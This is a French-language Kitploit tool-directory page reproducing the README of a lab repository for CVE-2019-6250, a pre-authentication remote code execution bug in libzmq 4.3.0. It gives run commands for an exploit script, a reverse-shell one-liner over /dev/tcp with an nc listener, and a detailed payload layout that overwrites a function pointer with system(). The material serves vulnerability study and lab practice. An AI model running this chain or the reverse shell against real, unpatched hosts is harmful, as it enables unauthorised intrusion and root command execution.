Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2019-6250-lab — Lab RCE de bout en bout avant authentification pour CVE-2019-6250 (libzmq <= 4.3.0, protocole filaire ZMTP/2.0) | Kitploit
Outils/GitHubGitHub/dinosn/cve-2019-6250-lab
Analyse des VulnérabilitésExploitationTests d'IntrusionApprentissage et ÉducationOutil d'Accès à DistanceDéveloppement de Charges UtilesExploitation de BinairesLabs et Pratique
GitHubdinosn/cve-2019-6250-lab

cve-2019-6250-lab

Lab RCE de bout en bout avant authentification pour CVE-2019-6250 (libzmq <= 4.3.0, protocole filaire ZMTP/2.0)

10il y a 5 moisPas encore vérifié
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2019-6250 — laboratoire RCE sans authentification préalable sur libzmq

CVE CVSS Affected License

Chaîne RCE complète et fonctionnelle + laboratoire reproductible pour CVE-2019-6250, le débordement de tas (heap-buffer-overflow) avant authentification dans v2_decoder_t::size_ready de libzmq. Un dépassement arithmétique de pointeur uint64_t permet à un pair non authentifié d'écraser le pointeur de fonction adjacent msg_t::content_t::ffn sur le chemin réseau ZMTP/2.0, puis de le déclencher via la fermeture de la socket TCP → ~v2_decoder_t() → _in_progress.close() → system(cmd).

Par Nicolas Krassas (@dinosn).

Usage laboratoire exclusivement. Ce kit fournit une libzmq 4.3.0 volontairement vulnérable. N'exposez pas le port 5555 hors du laboratoire. Le bug a été corrigé il y a sept ans dans libzmq 4.3.1 (commit 1a2ed127).


Démo

Chaîne system() — preuve par fichier

chaîne system

Reverse shell — root interactif

reverse shell

Test de fumée automatisé de bout en bout

test de fumée


TL;DR (Docker)

docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
           -p 5555:5555 cve-2019-6250-lab

# inside the container:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250        # <-- created by the libzmq server process

TL;DR (bare metal — Debian 12 / Kali 2024.x / Ubuntu 22.04)

sudo ./setup.sh                       # builds libzmq 4.3.0 + target, disables ASLR
sudo ./start_server.sh                # binds tcp://0.0.0.0:5555
./exploit.py 127.0.0.1 5555           # default cmd: touch /tmp/PWNED-CVE-2019-6250
ls -l /tmp/PWNED-CVE-2019-6250

Reverse shell

# terminal 1 — listener
nc -lvnp 4444

# terminal 2 — fire the chain
./exploit.py 127.0.0.1 5555 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'

Vous devriez voir quelque chose comme :

listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#

La ligne cannot set terminal process group (1355844) confirme que le shell a été lancé par le processus cible libzmq (PID 1355844), et non par un élément que vous avez exécuté localement.


Structure du dépôt

.
├── README.md             # you are here
├── server.c              # tiny PULL listener — the vulnerable target
├── exploit.py            # full RCE chain
├── setup.sh              # bare-metal provisioner (clones + builds libzmq 4.3.0)
├── start_server.sh       # start/restart the target
├── read_addresses.sh     # regenerate the address profile for a different image
├── run_lab_test.sh       # automated end-to-end smoke test (CI-friendly)
├── Dockerfile            # one-command containerised lab
└── screenshots/          # README screenshots (generated with charmbracelet/freeze)

Mécanique

1. Le bug

src/v2_decoder.cpp:117 (libzmq 4.3.0) :

shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
              || ((unsigned char *) read_pos_ + msg_size_         //  <-- wraps
                  > (allocator.data () + allocator.size ())))) {
    rc = _in_progress.init_size (static_cast<size_t> (msg_size_));   // safe path
} else {
    rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
                            allocator.buffer (), allocator.provide_content ());
    // zero-copy aliasing path — _in_progress.data() == read_pos_
}

msg_size_ est le uint64_t big-endian contrôlé par l'attaquant issu de l'en-tête de trame LARGE de ZMTP/2.0. Avec msg_size_ = 0xFFFFFFFFFFFFFFFF, la somme read_pos_ + msg_size_ reboucle modulo 2⁶⁴ et aboutit à une valeur inférieure au membre de droite. Le test de bornes est donc évalué à faux → l'exécution tombe dans le chemin zéro-copie → le message _in_progress partage le tampon de réception. Le décodeur demande alors au noyau 0xFFFFFFFFFFFFFFFF octets supplémentaires à read_pos_, et recv() écrit joyeusement notre charge utile au-delà de la fin du tampon de réception, dans le tableau adjacent content_t[] (alloué dans le même bloc malloc() à decoder_allocators.cpp:88).

2. La chaîne

[ atomic_counter_t (refcnt) ]   8 bytes
[ recv buffer ]                 8192 bytes  ← bytes start landing at read_pos_+0
[ content_t [ _max_counters ] ] 249 × 40 = 9960 bytes
                                ↑ content_t[0] starts at read_pos_+8183

Nous envoyons 8224 octets de charge utile structurés ainsi :

décalage de charge utileoctetsce qui est écrasé
[0:16]padding(dans le tampon de réception)
[16:K]chaîne de commande + NUL(dans le tampon de réception — argument de system)
[K:8183]padding(dans le tampon de réception)
[8183:8191]read_pos+16content_t[0].data (→ commande)
[8191:8199]0content_t[0].size
[8199:8207]&systemcontent_t[0].ffn (cible du flux de contrôle)
[8207:8215]0content_t[0].hint
[8215:8223]0content_t[0].refcnt

Lorsque nous fermons la socket TCP, le ~v2_decoder_t() du serveur appelle _in_progress.close(). Dans msg_t::close :

if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
    content->ffn(content->data, content->hint);     //  -> system(cmd)
}

init_external_storage a défini _u.zclmsg.flags = 0, le raccourci OU prend donc immédiatement la branche — refcnt n'est même pas vérifié. Notre ffn écrasé s'exécute.

Pas de ROP, pas de shellcode, pas de fuite d'information : juste une résolution de symbole libc et une chaîne de commande intégrée.

3. Atteindre v2_decoder_t avant authentification

En regardant stream_engine.cpp:707 :

bool zmq::stream_engine_t::handshake_v2_0 ()
{
    if (_session->zap_enabled ()) { error (...); return false; }
    _encoder = new v2_encoder_t (...);
    _decoder = new v2_decoder_t (...);     // <-- NO mechanism object
    return true;
}

Le chemin ZMTP/2.0 instancie v2_decoder_t sans mécanisme. Seul ZAP rejette les connexions 2.0, et ZAP est désactivé par défaut. Dès qu'un pair envoie le greeting ZMTP/2.0 de 12 octets (0xff + 8 zéros + 0x7f + révision 0x01 + type de socket), chaque octet suivant est analysé par v2_decoder_t. Pas d'authentification. Pas de handshake. Pas de machine à états de mécanisme.


Preuve ASAN

Optionnel : compilez avec -fsanitize=address et observez le rapport heap-buffer-overflow :

rapport asan

Télécharger l’outil